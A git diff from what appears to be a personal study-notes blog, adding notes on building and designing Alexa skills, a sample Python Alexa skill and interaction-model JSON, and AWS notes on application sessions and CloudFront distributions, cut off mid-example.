`Lambda function` in the AWS Management Console. + - Development environment appropriate for the programming language. + - The ASK SDK and Lambda jointly support `Node.js, Python, and Java`. + + - **endpoint** + - `Internet-accessible endpoint` for hosting your `backend cloud-based service` + - provision **your own Lambda endpoint or use Alexa-hosted skills**, which provisions one for you without the need to create an AWS account. + - can build and host most skills for free with AWS Lambda (first one million calls/mon) + - Once the backend Lambda function is ready, integrate the Lambda function to your skill and test it in the Alexa developer console. + - AWS Lambda ARN: + - **build and host an HTTPS web service** + - will need a cloud hosting provider and a Secure Sockets Layer (SSL) certificate. + +3. Test + - The Alexa developer console has a built-in Alexa simulator, which is similar to testing on an actual Alexa-enabled device. + - testing your skill with the Alexa simulator, gathering user feedback to resolve issues and make improvements before submitting your skill for certification. + + +4. Certification and launch + - After beta testing your skill, submit it for certification. Once your skill passes certification, it will be published in the Alexa Skills Store for anyone to discover and use. Start promoting it to reach more customers. + Summary + - These are the fundamental steps for building Alexa skills. + - You will dive deeper into each step in subsequent modules of this tutorial. + + + +- for a display device: + +![Screen Shot 2020-07-17 at 18.53.22](https://i.imgur.com/vZZl0RW.png) + +![Screen Shot 2020-07-17 at 18.54.14](https://i.imgur.com/gpiw3o6.png) + +![Screen Shot 2020-07-17 at 18.55.35](https://i.imgur.com/yC2X7kF.png) + +![Screen Shot 2020-07-17 at 18.55.59](https://i.imgur.com/Ben23Kk.png) + + + +## Requirements to build a skill for this tutorial + +Get ready to build by taking the following actions: +- `Sign up account on the Alexa developer console`. where build and optimize your skill. +- An `internet-accessible endpoint for hosting your backend cloud-based service`. + - Your backend skill code is usually a Lambda function. + - For this course you will create a skill with `Alexa-hosted skills`, where the developer console will provision a Lambda endpoint for you along with allowing you to use the Alexa Skills Kit (ASK) SDK directly on the console. + - Keep in mind that if you plan to use the ASK SDK, the languages supported are Node.js, Python, and Java. + - Alexa-hosted skills are only available in Node.js and Python. + - Development environment appropriate for the programming language used. Lambda natively supports Java, Go, PowerShell, Node.js, C#, Python, and Ruby and provides a runtime API, which allows you to use any additional programming languages to author your functions. + - Publicly accessible website to host any images, audio files, or video files used in your skill. + - If you host your skill backend with the Alexa-hosted hosting option, an Amazon Simple Storage Service (Amazon S3) will be provisioned for you. + - If you use another hosting option, such as AWS Lambda, you may use Amazon S3 to host files used in your skill. + - If you do not have files other than a skill icon, you do not need to host any resources. + - (Optional) Alexa-enabled device for testing. + - Skills work with all Alexa-enabled devices, such as the Amazon Echo, Echo Dot, Fire TV Cube, and devices that use the Alexa Voice Service (AVS). + - If you don't have a device, you can use the Alexa simulator in the developer console. Through the simulator, you can see the display templates for Echo Show and Echo Spot, although the display is not interactive. If your skill includes display and touch interactions, you need an Alexa-enabled device with a screen to test the skill. + +--- + +# Module 2: Design an Engaging Voice User Interface + +## How Users Interact With Alexa + +To create a voice user interface +- user wakes an Alexa-enabled device with the `wake word` (“Alexa”) and `asks a question` or `makes a request`. +- For Alexa-enabled devices with a screen, a user can also `touch the screen to interact` with Alexa. + + + + +## Voice Design Concepts: Utterances, Intents, and Slots + +![chapter2-utterance-intent](https://i.imgur.com/GZ6iS4J.png) + +- **wake word**: The wake word tells Alexa to start listening to your commands. +- **Launch word**: A launch word is a `transitional action word` that signals Alexa that a `skill invocation` will likely follow. + - Sample launch words include `tell, ask, open, launch, and use`. +- **Invocation name**: To begin interacting with a skill, a user says the skill's invocation name. + - For example, to use the Daily Horoscope skill, the user could say, "Alexa, read my daily horoscope." +- **Utterance**: Simply put, an utterance is a user's spoken request. These spoken requests can invoke a skill, provide inputs for a skill, confirm an action for Alexa, and so on. Consider the many ways a user could form their request. +- **Prompt**: A string of text that should be spoken to the customer to ask for information. You include the prompt text in your response to a customer's request. +- **Intent**: An intent represents an `action that fulfills a user's spoken request`. + - Intents can optionally have arguments called slots. +- **Slot value**: Slots are `input values provided in user's spoken request`. These values help Alexa figure out the user's intent. + - Slots can be defined with different types. + - The travel date slot in the above example uses Amazon's built-in `AMAZON.DATE` type to convert words that indicate dates (such as "today" and "next Friday") into a date format, while both from City and to City use the built-in `AMAZON.US_CITY` slot. + - If you extended this skill to ask the user what activities they plan to do on the trip, you might add a custom `LIST_OF_ACTIVITIES` slot type to reference a list of activities such as hiking, shopping, skiing, and so on. + - to identify slots for an intent: `create a dialog model for the skill.` + +![Screen Shot 2020-07-16 at 08.40.17](https://i.imgur.com/zZkGx6s.png) + + +## Key Concepts: Interaction Model and Situational Design +### Interaction model +An interaction model: a `combination of utterances, intents, and slots` that identify for skill. + +To create an interaction model: +- define the `requests (intents)` and the `words (sample utterances)`. +- Your `Lambda skill code` then determines how your skill handles each intent. +- start defining the intents and utterances on paper and iterate on those to try to cover as many possible ways the user can interact with the skill. +- Then, go to the `Alexa developer console` and start `creating the intents`, utterances, and slots. + - The console `creates JSON code of your interaction model`. + - You can also create the interaction model in JSON yourself using any JSON tool and then copy and paste it in the developer console. + +### Voice design +- A major part of the experience is designing your skill to mimic human conversation well. +- Before you write one line of code, you should work really hard to think through how your customers will interact with your skill. +- Skipping this step will result in a poorly written skill that will not work well with your users. +- While it may be tempting to use a flow chart to represent how a conversation may branch, don't! Flow charts are not conversational. They are complicated, impossible to read, and tend to lead to an inferior experience not unlike a phone tree. No one likes calling customer support and diving into a phone tree, avoid that. +- Instead of flow charts, you should use situational design. + +### Situational Design +Situational Design:na voice-first method to design a voice user interface. + +- You start with a simple dialog which helps keep the focus on the conversation. + - Each interaction between your customer and the skill represents a turn. + - Each turn has a situation that represents the context. + - If it's the customer's first time interacting with the skill, there is a set of data that is yet unknown. + - Once the skill has stored the information, it will be able to use it the next time the user interacts with the skill. + +- With situational Design, start with the conversation and work backwards to your solution. + - Each interaction between the user and Alexa is treated as a turn. + - In the example below, the situation is that the user's birthday is unknown and the skill will need to ask for it. + - Practice: The script below shows how the skill “Cake Time” asks the user for their birthday and remembers it. Later, it will be able to tell them the number of days until their next birthday and to wish them Happy Birthday on their birthday. + +![chapter2-situational](https://i.imgur.com/GjH4mam.png) + +- Each `turn` can be represented as a `card` that contains, `the user utterance, situation and Alexa's response`. + - Combine these cards together to form a storyboard which shows how the user will progress through the skill over time. Storyboards are conversational, flow charts are not. + +![chapter2-situational-turns](https://i.imgur.com/k1SbPIg.png) + + +## Characteristics of a Well-Designed Voice User Interface + +1. Uses **natural forms of communication** + - user should not be required to learn a new language or remember the rules. + - A machine should conform to the user's paradigm, not the other way around. + +2. **Navigates through information easily** + - offer easy way to cut through layers of information hierarchy by using voice commands to find important information. + +3. **Creates an eyes- and hands-free experience** + - allow user to perform tasks while their eyes and hands are occupied. + +4. **Creates a shared experience** + - et users collaborate, contribute, or play together through natural conversation. + - For example, a family could play a game together on an Alexa-enabled device. + +## Key Challenges of Voice Design +inherent challenges with voice interfaces, including: `context switching or ambiguity in the conversation`, `discovering intent`, and `being unaware of the user's current state or mood`. +- For a good user experience, you should plan for these challenges when developing your skill. +- the user might provides all the needed information at once, but Alexa is unable to parse information provided all at once. + - This doesn’t mean that Alexa is unable to comprehend what the user says, but rather that the VUI of the skill is not properly or correctly designed to infer information from the natural way a person may speak. +- it is important to design the VUI to be as similar as possible to a natural conversation that might take place between two human beings. + - A good VUI dramatically increases the ease of use and user satisfaction for any given skill. + +## Five Best Practices for Voice Design +Designing a good VUI voice user interface for a skill involves `writing natural dialog`, `engaging the user throughout the skill`, and `staying true to Alexa's personality`. + + +1. Stay close to Alexa's persona + - Alexa's personality is friendly, upbeat, and helpful. She's honest about anything blocking her way but also fun, personable, and able to make small talk without being obtrusive or inappropriate. + - keep the tone of your skill’s VUI as close to Alexa’s persona as possible. + - One way to do this is by keeping the VUI natural and conversational. + - Slightly vary the responses given by Alexa for responses like "thank you" and "sorry". Engaging the user with questions is also a good technique for a well-designed VUI. + - **Alexa should be helpful by providing the correct answer**. + - **Do** + - Alexa: `That's not quite right. One more try`. What year was the Bill of Rights signed? + - User: 1986 + - Alexa: `Shoot`. That wasn't it. The correct answer was 1791. + - **Don't** + - Alexa: `That's not quite right. One more try`. What year was the Bill of Rights signed? + - User: 1986 + - Alexa: `That's not correct`. Let's move on. + - **Engage the user with questions and avoid ending questions with "yes or no?"** + - **Do** + - Alexa: Do you want to keep shopping? + - **Don't** + - Alexa: Do you want to keep shopping? `Yes or no?` + + +2. Write for the ear, not the eye + - The way we speak is far less formal than the way we write. Therefore, it's important to `write Alexa’s prompts to the user in a conversational tone`. + - No matter how good a prompt sounds when you say it, it may sound odd in text-to-speech (TTS). + - It is important to listen to the prompts on your test device and then iterate on the prompts based on how they sound. + - **Keep your VUI informal. The following is an example**. + - Do + - Alexa: Getting your playlist. + - Don't + - Alexa: Acquiring your playlist. + - **If there are more than two options**, present the user with the options and ask which they would like. + - Do + - Alexa: I can `tell you a story, recite a rhyme, or sing a song`. `Which would you like?` + - Don't + - Alexa: Do you want me to tell you a story, recite a rhyme, or sing you a song? + +3. Be contextually relevant + - List options in order `from most to least` contextually relevant to make it easier for the user to understand. + - Avoid giving the user options in an order that changes the subject of the conversation, then returns to it again. + - This helps the user understand and verbalize their choices better without spending mental time and energy figuring out what's most relevant to them. + - **Do** + - Alexa: That show plays again tomorrow at 9 PM. `I can` tell you when a new episode is playing, when another show is playing, or you can do something else. `Which would you like?` + - **Don't** + - Alexa: That show plays again tomorrow at 9 PM. `You can find out when` another show is playing, `find out when` a new episode of this show is playing, or do something else. What would you like to do? + +4. Be brief + - Reduce the number of steps to complete a task + - keep the conversation brief. + - Simplify messages to their essence wherever possible. + - **Do** + - Alexa: Ready to start the game? + - **Don't** + - Alexa: All right then, are you ready to get started on a new game? + +5. Write for engagement to increase retention + - Alexa skills should be built to last and grow with the user over time. + - Your skill should provide a delightful user experience, whether it's the first time a user invokes the skill or the 100th. + - Design the skill to phase out information that experienced users will learn over time. + - Give fresh dialog to repeat users so the skill doesn't become tiresome or repetitive. + - **Do** + - First use: + - Alexa: Thanks for subscribing to Imaginary Radio. You can listen to a live game by saying a team name, like Seattle Seahawks, location, like New York, or league, like NFL. You can also ask me for a music station or genre. W`hat would you like to listen to?` + - Return use: + - Alexa:`Welcome back` to Imaginary Radio. Want to keep listening to the Kids Jam station? + - **Don't** + - First use: + - Alexa: Thanks for subscribing to ABC Radio. What do you want to listen to? + - Return use: + - Alexa: Welcome back. What do you want to listen to? + + + + + + + + + + + + + + + + + + + + +. diff --git a/_posts/01Cloud/01AWS/Alex/alex.py b/_posts/01Cloud/01AWS/Alex/alex.py new file mode 100644 index 00000000000..2a9aa6ae1e0 --- /dev/null +++ b/_posts/01Cloud/01AWS/Alex/alex.py @@ -0,0 +1,226 @@ +# for slots + + +def can_handle(self, handler_input): + + handler_input.request_envelope.request.intent.slots + + slots["year"].value + + handler_input.attributes_manager + + return ( + handler_input.response_builder.speak(speak_output) + # .ask("add a reprompt if you want to keep the session open for the user to respond") + .response + ) + + +# device ID +# traverse the request object to get the device ID using the requestEnvelope: +handlerInput.requestEnvelope.context.System.device.deviceId + +sys_object = handler_input.request_envelope.context.system +device_id = sys_object.device.device_id + + +device_id = ask_sdk_core.utils.request_util.get_device_id(handler_input) + + +# get Alexa Settings API information +api_endpoint = sys_object.api_endpoint +api_access_token = sys_object.api_access_token + + +# -*- coding: utf-8 -*- + +# This sample demonstrates handling intents from an Alexa skill using the Alexa Skills Kit SDK for Python. +# Please visit https://alexa.design/cookbook for additional examples on implementing slots, dialog management, +# session persistence, api calls, and more. +# This sample is built using the handler classes approach in skill builder. + +import logging + +import ask_sdk_core.utils as ask_utils +from ask_sdk_core.dispatch_components import (AbstractExceptionHandler, + AbstractRequestHandler) +from ask_sdk_core.handler_input import HandlerInput +from ask_sdk_core.skill_builder import SkillBuilder +from ask_sdk_model import Response + +logger = logging.getLogger(__name__) +logger.setLevel(logging.INFO) + + +# for AMAZON S3 +import os + +from ask_sdk_s3.adapter import S3Adapter + +s3_adapter = S3Adapter(bucket_name=os.environ["S3_PERSISTENCE_BUCKET"]) + +from ask_sdk_core.skill_builder import CustomSkillBuilder + + +class LaunchRequestHandler(AbstractRequestHandler): + """Handler for Skill Launch.""" + + def can_handle(self, handler_input): + # type: (HandlerInput) -> bool + return ask_utils.is_request_type("LaunchRequest")(handler_input) + + def handle(self, handler_input): + # type: (HandlerInput) -> Response + speak_output = "Aniyo! Welcome to red velevt Time. What is your birthday?" + reprompt_text = "I was born Aug. 1st, 2014. When are you born?" + + return ( + handler_input.response_builder.speak(speak_output) + .ask(reprompt_text) + .response + ) + + +class CaptureBirthdayIntentHandler(AbstractRequestHandler): + """Handler for Hello World Intent.""" + + def can_handle(self, handler_input): + # type: (HandlerInput) -> bool + return ask_utils.is_intent_name("CaptureBirthdayIntent")(handler_input) + + def handle(self, handler_input): + # type: (HandlerInput) -> Response + slots = handler_input.request_envelope.request.intent.slots + year = slots["year"].value + month = slots["month"].value + day = slots["day"].value + + handler_input.attributes_manager + + speak_output = ( + "Thanks, I will remember that you were born {month} {day} {year}.".format( + month=month, day=day, year=year + ) + ) + + return ( + handler_input.response_builder.speak(speak_output) + # .ask("add a reprompt if you want to keep the session open for the user to respond") + .response + ) + + +class HelpIntentHandler(AbstractRequestHandler): + """Handler for Help Intent.""" + + def can_handle(self, handler_input): + # type: (HandlerInput) -> bool + return ask_utils.is_intent_name("AMAZON.HelpIntent")(handler_input) + + def handle(self, handler_input): + # type: (HandlerInput) -> Response + speak_output = "You can say hello to me! How can I help?" + + return ( + handler_input.response_builder.speak(speak_output) + .ask(speak_output) + .response + ) + + +class CancelOrStopIntentHandler(AbstractRequestHandler): + """Single handler for Cancel and Stop Intent.""" + + def can_handle(self, handler_input): + # type: (HandlerInput) -> bool + return ask_utils.is_intent_name("AMAZON.CancelIntent")( + handler_input + ) or ask_utils.is_intent_name("AMAZON.StopIntent")(handler_input) + + def handle(self, handler_input): + # type: (HandlerInput) -> Response + speak_output = "Goodbye!" + + return handler_input.response_builder.speak(speak_output).response + + +class SessionEndedRequestHandler(AbstractRequestHandler): + """Handler for Session End.""" + + def can_handle(self, handler_input): + # type: (HandlerInput) -> bool + return ask_utils.is_request_type("SessionEndedRequest")(handler_input) + + def handle(self, handler_input): + # type: (HandlerInput) -> Response + + # Any cleanup logic goes here. + + return handler_input.response_builder.response + + +class IntentReflectorHandler(AbstractRequestHandler): + """The intent reflector is used for interaction model testing and debugging. + It will simply repeat the intent the user said. You can create custom handlers + for your intents by defining them above, then also adding them to the request + handler chain below. + """ + + def can_handle(self, handler_input): + # type: (HandlerInput) -> bool + return ask_utils.is_request_type("IntentRequest")(handler_input) + + def handle(self, handler_input): + # type: (HandlerInput) -> Response + intent_name = ask_utils.get_intent_name(handler_input) + speak_output = "You just triggered " + intent_name + "." + + return ( + handler_input.response_builder.speak(speak_output) + # .ask("add a reprompt if you want to keep the session open for the user to respond") + .response + ) + + +class CatchAllExceptionHandler(AbstractExceptionHandler): + """Generic error handling to capture any syntax or routing errors. If you receive an error + stating the request handler chain is not found, you have not implemented a handler for + the intent being invoked or included it in the skill builder below. + """ + + def can_handle(self, handler_input, exception): + # type: (HandlerInput, Exception) -> bool + return True + + def handle(self, handler_input, exception): + # type: (HandlerInput, Exception) -> Response + logger.error(exception, exc_info=True) + + speak_output = "Sorry, I had trouble doing what you asked. Please try again." + + return ( + handler_input.response_builder.speak(speak_output) + .ask(speak_output) + .response + ) + + +# The SkillBuilder object acts as the entry point for your skill, routing all request and response +# payloads to the handlers above. Make sure any new handlers or interceptors you've +# defined are included below. The order matters - they're processed top to bottom. + + +sb = CustomSkillBuilder(persistence_adapter=s3_adapter) + + +sb.add_request_handler(LaunchRequestHandler()) +sb.add_request_handler(CaptureBirthdayIntentHandler()) +sb.add_request_handler(HelpIntentHandler()) +sb.add_request_handler(CancelOrStopIntentHandler()) +sb.add_request_handler(SessionEndedRequestHandler()) +# make sure IntentReflectorHandler is last so it doesn't override your custom intent handlers +sb.add_request_handler(IntentReflectorHandler()) + +sb.add_exception_handler(CatchAllExceptionHandler()) + +lambda_handler = sb.lambda_handler() diff --git a/_posts/01Cloud/01AWS/Alex/json_file.md b/_posts/01Cloud/01AWS/Alex/json_file.md new file mode 100644 index 00000000000..fbead4d9b5b --- /dev/null +++ b/_posts/01Cloud/01AWS/Alex/json_file.md @@ -0,0 +1,62 @@ + + +json file for intents. + + +```json +{ + "interactionModel": { + "languageModel": { + "invocationName": "space facts", + + "intents": [ + { + "name": "AMAZON.CancelIntent", + "samples": [] + }, + + { + "name": "AMAZON.HelpIntent", + "samples": [] + }, + + { + "name": "AMAZON.StopIntent", + "samples": [] + }, + + { + "name": "AMAZON.FallbackIntent", + "samples": [] + }, + + { + "name": "GetNewFactIntent", + "samples": [ + "a fact", + "a space fact", + "tell me a fact", + "tell me a space fact", + "give me a fact", + "give me a space fact", + "tell me trivia", + "tell me a space trivia", + "give me trivia", + "give me a space trivia", + "give me some information", + "give me some space information", + "tell me something", + "give me something" + ], + "slots": [] + }, + { + "name": "AMAZON.NavigateHomeIntent", + "samples": [] + } + ] + } + } +} + +``` diff --git a/_posts/01Cloud/01AWS/Application/2020-07-18-CloudFront copy.md b/_posts/01Cloud/01AWS/Application/2020-07-18-CloudFront copy.md new file mode 100644 index 00000000000..e178504de36 --- /dev/null +++ b/_posts/01Cloud/01AWS/Application/2020-07-18-CloudFront copy.md @@ -0,0 +1,46 @@ +--- +title: AWS - Application session +date: 2020-07-18 11:11:11 -0400 +categories: [01AWS, Application] +tags: [AWS, Application] +toc: true +image: +--- + +- [AWS - Application session](#aws---application-session) + - [Stateless](#stateless) + - [Stateful](#stateful) + +--- + +# AWS - Application session + +--- + +## Stateless + +- a way in which the `Application Session` State is stored. + +- stored remotely on another server rather than locally on the application server. + +- also referred to as a stateless server + +- to scale up/down the application server + +- no user interruption. + + +--- + +## Stateful + + +- a way in which the Application Session State is stored. + +- stored locally on the same server as the application. + +- also referred to as a stateful server + +- to scale up/down the application server + +- there would be user interruption. diff --git a/_posts/01Cloud/01AWS/Balancing/2020-07-18-CloudFront.md b/_posts/01Cloud/01AWS/Balancing/2020-07-18-CloudFront.md new file mode 100644 index 00000000000..8d39cc78e3f --- /dev/null +++ b/_posts/01Cloud/01AWS/Balancing/2020-07-18-CloudFront.md @@ -0,0 +1,1373 @@ +--- +title: AWS - Balancing - CloudFront +date: 2020-07-18 11:11:11 -0400 +categories: [01AWS, Balancing] +tags: [AWS, Balancing, CloudFront] +toc: true +image: +--- + +- [CloudFront](#cloudfront) + - [cloudFront](#cloudfront-1) + - [edge locations](#edge-locations) + - [Regional Edge caches](#regional-edge-caches) + - [Origin Access Identity (OAI)](#origin-access-identity-oai) + - [benefits](#benefits) +- [enable CloudFront](#enable-cloudfront) +- [CloudFront distributions](#cloudfront-distributions) + - [cache control headers](#cache-control-headers) + - [presigned URLs](#presigned-urls) +- [Configuring Secure Access and Restricting Access to Content](#configuring-secure-access-and-restricting-access-to-content) + - [CloudFront Custom SSL Support](#cloudfront-custom-ssl-support) + - [Using HTTPS with CloudFront](#using-https-with-cloudfront) + - [Requiring HTTPS for Communication Between Viewers and CloudFront](#requiring-https-for-communication-between-viewers-and-cloudfront) + - [Requiring HTTPS for Communication Between CloudFront and Custom Origin](#requiring-https-for-communication-between-cloudfront-and-custom-origin) + - [Changing CloudFront Settings](#changing-cloudfront-settings) + - [Installing an SSL/TLS Certificate on Your Custom Origin Server](#installing-an-ssltls-certificate-on-your-custom-origin-server) + - [About RSA and ECDSA Ciphers](#about-rsa-and-ecdsa-ciphers) + - [Requiring HTTPS for Communication Between CloudFront and S3 Origin](#requiring-https-for-communication-between-cloudfront-and-s3-origin) + - [Using Alternate Domain Names and HTTPS](#using-alternate-domain-names-and-https) + - [Restricting content with signed URLs and signed cookies](#restricting-content-with-signed-urls-and-signed-cookies) + - [Restricting Access to S3 Content by signed URLs](#restricting-access-to-s3-content-by-signed-urls) + - [Restricting Access to S3 Content by OAI Origin Access Identity](#restricting-access-to-s3-content-by-oai-origin-access-identity) + - [Audit](#audit) + - [OAI Setup](#oai-setup) + - [create OAI and update CloudFront distribution](#create-oai-and-update-cloudfront-distribution) + - [Creating an OAI by CloudFront console](#creating-an-oai-by-cloudfront-console) + - [Creating an OAI by CloudFront API](#creating-an-oai-by-cloudfront-api) + - [Granting the OAI Permission to Read Files in S3 Bucket](#granting-the-oai-permission-to-read-files-in-s3-bucket) + - [Using S3 Bucket Policies](#using-s3-bucket-policies) + - [Specify an OAI as the `Principal`](#specify-an-oai-as-the-principal) + - [Updating S3 Object ACLs](#updating-s3-object-acls) + - [Using an OAI in S3 Regions that Support Only Signature Version 4 Authentication](#using-an-oai-in-s3-regions-that-support-only-signature-version-4-authentication) + +--- + +# CloudFront + +--- + +![Screen Shot 2020-06-09 at 22.21.14](https://i.imgur.com/xIybRHQ.png) + +![Screen Shot 2020-06-09 at 22.32.02](https://i.imgur.com/3CatMDS.png) + + +--- + +## cloudFront + + +- a web service + - a fast CDN service + - securely delivers data, videos, applications, and application programming interfaces (APIs) to customers globally with low latency and high transfer speeds. + +- speeds the distribution of static and dynamic web content to users + - such as HTML; CSS; JavaScript; and image. + +- provide additional security (especially against DDos) + - Build in DDoS attack protection. + +- integrated with many AWS services + - such as S3, EC2, ELB, Route53, Lambda + - both physical locations that are directly connected to the AWS global infrastructure + - and software that works seamlessly with services including AWS shield for DDoS mitigation, + - S3, Elastic Load Balancing, or EC2 as origins for your applications, + - AWS Lambda to run custom code close to your viewer. + +- provides a developer-friendly environment. + +- different from traditional CDN + - quickly obtain the benefits of high-performance content delivery + - without negotiated contracts, high prices, or minimum fees. + +--- + + +![Screen Shot 2020-05-06 at 01.39.15](https://i.imgur.com/cB7oVyh.png) + + + +### edge locations +- locations are designed to serve popular content quickly to viewers. +- cache content at edge location (data centers) for fast distribution to customers. +- When user requests content that serve with CloudFront, + - the user is routed to the edge location that provides the lowest latency (time delay) + - content is delivered with the best possible performance. + - If the content is already in the edge location with the lowest latency, + - CloudFront delivers it immediately + - If the content is not currently in that edge location, + - CloudFront retrieves it from an S3 bucket / HTTP web server for the definitive version of your content. +- As objects become less popular + - individual edge locations might remove those objects to make room for more popular content. + +--- + +### Regional Edge caches +- help reduce the load on your origin resources + - minimizes the operational burden + - minimizes the costs of scaling the origin resources. + +- Regional edge caches + - are turned on by default for your CloudFront distributions, and do not need to make any changes to your distributions to take advantage of this feature. + +- are CloudFront locations that deployed globally and close to viewers. + - located between the origin server and the global edge locations + - serve content directly to viewers. + +- Regional edge cache has larger cache than individual edge location + - so objects remain in the Regional edge cache longer. + + +--- +## Origin Access Identity (OAI) +- A virtual identity + - created OAI and associate it with your distribution. + - configure permissions + - CloudFront use the OAI to access and serve files to your users + - but users can't use a direct URL to the S3 bucket to access a file there. + +- restricting users to the CloudFront distribution, + - enhance S3 distribution performance and create a better user experience + - not used to configure private viewing within CloudFront + - is not associated with an on-premise server; rather tied to S3 service. + +- Prevent users from bypassing CloudFront security restrictions to access the S3 origin bucket + - OAIs are applied to a CloudFront distribution, + - this allows access to end-users while protecting the direct URL to the S3 bucket. + +- OAIs append code to a bucket policy + - allowing CloudFront users access to a particular bucket. + - restrict users to use a presigned URL instead of directly accessing the origin S3 bucket. + +- S3 hosted website + - The endpoint URL can be altered. + - Security errors in S3 may require the enabling of Cross-Origin Resource Sharing (CORS) + - security measure + - When needing object backups + - When needing a resilient object + - When needing performance replication + - allowing a web application running in one domain to reference resources in another. + - configuring S3 Cross-Region Replication (CRR) + - A replication rule is needed, to set the source, destination, and IAM role. + - Versioning needs to be enabled on both buckets (source and the destination) + - Buckets need to be in different regions + - Object ownership and its associated storage tiers can be altered when going to a new region. + - CloudFront can be used to speed up the S3 service. + - Server access logs can be enabled for buckets that host websites. + - Apache-like server access logs can be enabled. + - index.html file + - default documented loaded when a visiting a bucket's URL endpoint. +- domain name + - The domain name within CloudFront can be visited by HTTP and HTTPS. + - A domain name is used to view distributed content in a browser. + - The domain name is generated when a distribution is created. + +--- + +## benefits + +Key features for CloudFront include: +- TCP/IP optimizations for the network path. +- Keep-alive connections to reduce round-trip time. +- SSL/TLS termination that is close to viewers. +- Latency-based routing. +- And regional edge caches. + + +benefits +- Fast and global + - CloudFront is massively scaled and globally distributed. + - To deliver content to end users with low latency, CloudFront uses a global network that consists of edge locations and regional caches + +- Security at the edge + - provides both network-level and application-level protection + - Your traffic and applications benefit through various built-in protections, + - such as AWS Shield Standard with no additional cost. + - use configurable features + - such as AWS Certificate Manager (ACM) to create and manage custom Secure Sockets Layer (SSL) certificates with no extra cost. + +- Highly programmable + - CloudFront features can be customized for specific application requirements. + - integrates with Lambda@Edge to run custom code across AWS locations worldwide to move complex application logic closer to users to improve responsiveness. + - The CDN also supports integrations with other tools and automation interfaces for DevOps. It offers continuous integration and continuous delivery (CI/CD) environments. + +- Deeply integrated with AWS + - integrated with AWS, with both physical locations that are directly connected to the AWS Global Infrastructure and other AWS services. + - use APIs or the AWS Management Console to programmatically configure all features in the CDN. + +- Cost-effective + - no minimum commitmente, charges only for what you use. + - Compared to self-hosting + - avoids the expense and complexity of operating a network of cache servers in multiple sites across the internet. + - eliminates the need to overprovision capacity to serve potential spikes in traffic. + - CloudFront also uses techniques like collapsing simultaneous viewer requests at an edge location for the same file into a single request to your origin server. + - The result is + - reduced load on the origin servers and reduced need to scale the origin infrastructure + - result in further cost savings. + - If the AWS origins is such as S3 or Elastic Load Balancing, you pay only for storage costs, not for any data transferred between these services and CloudFront. + +CloudFront charges are based on actual usage of the service in four areas: +- Data transfer out + - charged for the volume of data that is transferred out from CloudFront edge locations, measured in GB, to the internet or to your origin (both AWS origins and other origin servers). + - Data transfer usage is totaled separately for specific geographic regions, and then cost is calculated based on pricing tiers for each area. + - If you use other AWS services as the origins of your files, you are charged separately for your use of those services, including storage and compute hours. +- HTTP(S) requests + - charged for the number of HTTP(S) requests that are made to CloudFront for the content. +- Invalidation requests + - charged per path in your invalidation request. + - A path that is listed in your invalidation request represents the URL (or multiple URLs if the path contains a wildcard character) of the object that you want to invalidate from CloudFront cache. + - can request up to 1,000 paths/month from CloudFront at no additional charge. + - Beyond the first 1,000 paths, charged per path that is listed in your invalidation requests. +- Dedicated IP custom Secure Sockets Layer (SSL) + - pay $600 per month for each custom SSL certificate that is associated with one or more CloudFront distributions that use the Dedicated IP version of custom SSL certificate support. + - This monthly fee is prorated by the hour. + - For example, + - custom SSL certificate was associated with at least one CloudFront distribution for just 24 hours (that is, 1 day) in a month, total charge for using the custom SSL certificate feature: + - (1 day / 30 days) * $600 = $20 + +--- + +# enable CloudFront + +![Screen Shot 2020-07-12 at 17.47.11](https://i.imgur.com/GBDeyRd.png) + +1. specify origin servers + - like an S3 bucket or your own HTTP server. + - when CloudFront gets your files from the origin servers + - the files will then be distributed from CloudFront edge locations worldwild. + +2. upload files to origin servers + - Your files is objects + - typically include webpages, images, and media files. + +3. create a CloudFront distribution + - which tells CloudFront which origin servers to get the files from + - when users request the files through your website or application. + - At the same time, specify details, such as + - whether you want CloudFront to log all requests, + - whether you want the distribution to be enabled as soon as it's created. + +4. CloudFront assigns a domain name to your new distribution + - can see the domain name in the CloudFront console. + - The domain name can also be returned in the response to a programmatic request, like a request from an API. + +5. CloudFront sends the distribution's configuration (not content) to all its edge locations + - collections of servers in geographically dispersed data centers where CloudFront caches copies of your objects. + + +CloudFront has several options for enablement. +- use a separate Canonical Name Record / CNAME for static content, + - the static content is cached straight from the origin server. + - most efficient + - but takes more effort to set up and manage. +- point the entire uniform resource locator / URL to CloudFront + - easier to manage. + - can use URL patterns to stage dynamic content. + - All of the content goes through edge locations. + +--- + + +# CloudFront distributions + +![Screen Shot 2020-07-12 at 17.55.36](https://i.imgur.com/HoysfPS.png) + +- example + - Route 53 resolves example.com on behalf of the client. + - A request is made to the CloudFront distribution. + - CloudFront looks at the S3 bucket for the content that it identifies as being stored statically. + - For any content that has a time to live of zero, + - CloudFront will go directly to the Elastic Load Balancing load balancer + - to go back to the origin server to pull the content. + - In this way, CloudFront delivers both static and dynamic content. + + 2 distribution types +- Web distribution + - lets access to web content in any combination of up to 10 S3 buckets or custom origin servers. +- Real Time Messaging Protocol / RTMP distribution + - always an S3 bucket. + +To configure a cloudfront distribution to access a S3 private bucket: +- Add truested signers to you distribution +- Creat cloudfront key pairs for your trusted signers +- Write the code that generates signed uniform resource locators (URLs) + + +```json +// creates a distribution for an S3 bucket named awsexamplebucket, and also specifies index.html as the default root object +aws cloudfront create-distribution \ + --origin-domain-name awsexamplebucket.s3.amazonaws.com \ + --default-root-object index.html + +// Instead of using command line arguments, you can provide the distribution configuration in a JSON file +aws cloudfront create-distribution \ + --distribution-config file://dist-config.json + +// The file dist-config.json: +{ + "CallerReference": "cli-example", + "Aliases": { "Quantity": 0 }, + "DefaultRootObject": "index.html", + "Origins": { + "Quantity": 1, + "Items": [ + { + "Id": "awsexamplebucket.s3.amazonaws.com-cli-example", + "DomainName": "awsexamplebucket.s3.amazonaws.com", + "OriginPath": "", + "CustomHeaders": { "Quantity": 0 }, + "S3OriginConfig": { "OriginAccessIdentity": "" } + } + ] + }, + "OriginGroups": { "Quantity": 0 }, + "DefaultCacheBehavior": { + "TargetOriginId": "awsexamplebucket.s3.amazonaws.com-cli-example", + "ForwardedValues": { + "QueryString": false, + "Cookies": { "Forward": "none" }, + "Headers": { "Quantity": 0 }, + "QueryStringCacheKeys": { "Quantity": 0 } + }, + "TrustedSigners": { + "Enabled": false, + "Quantity": 0 + }, + "ViewerProtocolPolicy": "allow-all", + "MinTTL": 0, + "AllowedMethods": { + "Quantity": 2, + "Items": [ "HEAD", "GET" ], + "CachedMethods": { + "Quantity": 2, + "Items": [ "HEAD", "GET" ] + } + }, + "SmoothStreaming": false, + "DefaultTTL": 86400, + "MaxTTL": 31536000, + "Compress": false, + 